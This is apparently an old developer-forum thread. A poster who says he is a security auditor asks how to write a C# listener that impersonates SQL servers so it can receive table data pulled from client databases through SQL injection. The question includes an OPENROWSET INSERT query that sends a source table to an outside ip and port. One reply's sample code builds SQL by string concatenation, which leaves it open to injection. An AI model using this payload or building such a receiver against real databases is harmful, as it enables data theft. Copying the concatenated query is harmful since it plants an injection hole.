none
C# SQL Server RRS feed

  • Question

  • Task:
    I work for a security auditing company and i often use SQL Injection to remotely perform bulk transfers of table data from a client's database to a database i control.  Unfortunately, performing this task requires me to first mirror the transfering table's structure and datatypes and the ability to perform this task on demand requires me to have multiple SQL server installations. 

    The duplicating of the table structure is time intensive and the multiple SQL server installations is resource intensive.  I want a piece of software that could act as the SQL server peice of this transaction and eliminate these two annoyances.

    Solution:
    I need to code a piece of software that when given a port number, username and password can attach to the given port and wait for incoming SQL connections from popular SQL servers such as MSQL and MySQL executing SQL Queries such as the one below.

    When the SQL server attempts to connect i would like the piece of software to perform the proper authentication and connection negotiations with the server regardless of the type of server.  This may require detecting the incoming server type and pretending to be that type of server.

    Once the SQL server is connected to the piece of software and attempts to transfer the table data i want the piece of software to dynamically create a table with the same structure and propogate it with the transfered table data.

    SQL Query:
    INSERT INTO OPENROWSET
    (
        'SQLoledb','uid=user;pwd=pass;Network=DBMSSOCN;Address=ip,port;',
        'SELECT * FROM dstTable'
    )
    SELECT * FROM srcTable;

    Question:
    Can someone please give me a good starting point for programming this piece of software or point me to the resources that would help me acheive this.  Specifically resources pertaining to:

    - What classes should i use to perform communications with SQL servers of unknown type?

    - Do i need to be able to detect incoming server types and versions in order to communicate properly with them?
    - If yes how do i detect incoming server types and versions?

    - When the incoming server attempts to transfer the table data how do i discern the table data structure and mirror it dynamically?
    Thursday, December 20, 2007 6:50 PM

All replies

  • You can get information on all tables in a server if you've made a connection to a database. You must know the database name of course. In case of Sql Server there are stored procedures that can give you the table names. You can also get all table structures (schema) via another stored procedure or even a special command that will give you "SCHEMA"

     

    If you know the table name, however, you do not even have to know the table structure in advance. You can start reading this table via a SqlDataReader or OleDbDataReader and get a row or fields. From that single object you can easily determine the table structure in all details and create a DataTable in your C# DataSet and fill this table at runtime while you are reading row after row in a DataReader:

     

    using (OleDbConnection conn2 = new OleDbConnection ( Globals.connStr ))

    {

    conn2.Open ( );

    OleDbCommand cmdm2 = new OleDbCommand ( );

    cmdm2.Connection = conn2;

    cmdm2.CommandType = CommandType.Text;

    cmdm2.CommandText = "SELECT pointer_one FROM crossRefTable WHERE pointer_two = '" + numIdsSubstTablesToDelete[ jj ] + "'";

    OleDbDataReader rdr = cmdm2.ExecuteReader ( CommandBehavior.CloseConnection );

    if (rdr.HasRows == true)

    {

    foreach (System.Data.Common.DbDataRecord row in rdr)

    {

    collectCrossRefPairsQue.Enqueue ( (string)row[ 0 ] +"|" + numIdsSubstTablesToDelete[ jj ] );

    }

    }

    } // en

     

    This is just a pointer for you. I did not need to determine the field type in this case. The number of fields returned is determined by my SQL statement. You can use * instead -- that will give you ALL fields. You can then determine the fieldCount and field type for each and create a table.

    Thursday, December 20, 2007 8:35 PM
  • Thanks for the response Alex.  I've thought a little more about the problem and read up on the C# classes you referced, let me reform my question so that its clearer.

    C# provides ample means to perform database data exchange through the SQLConnection and OleDBConnection classes but these classes only seem to be able to intitiate client connections. I need to be able to bind to a given port, listen for INCOMING client connections then perform database work dependant on the nature of those queries. How do i do this?
    Thursday, December 20, 2007 11:54 PM
  • This sounds like an exact task for a Windows Service not stand alone C#.

     

    Adam

    Friday, December 21, 2007 12:00 AM
  •  Damien.Danible wrote:
    Thanks for the response Alex.  I've thought a little more about the problem and read up on the C# classes you referced, let me reform my question so that its clearer.

    C# provides ample means to perform database data exchange through the SQLConnection and OleDBConnection classes but these classes only seem to be able to intitiate client connections. I need to be able to bind to a given port, listen for INCOMING client connections then perform database work dependant on the nature of those queries. How do i do this?

     

    Yes, as Adam said, you are talking about a server. If it is a really big job you need to set it up in Windows Server 2008 with IIS as a well developed and designated service. If you set up your SQL Server database(s) in there you will get all you need.

     

    Friday, December 21, 2007 11:17 PM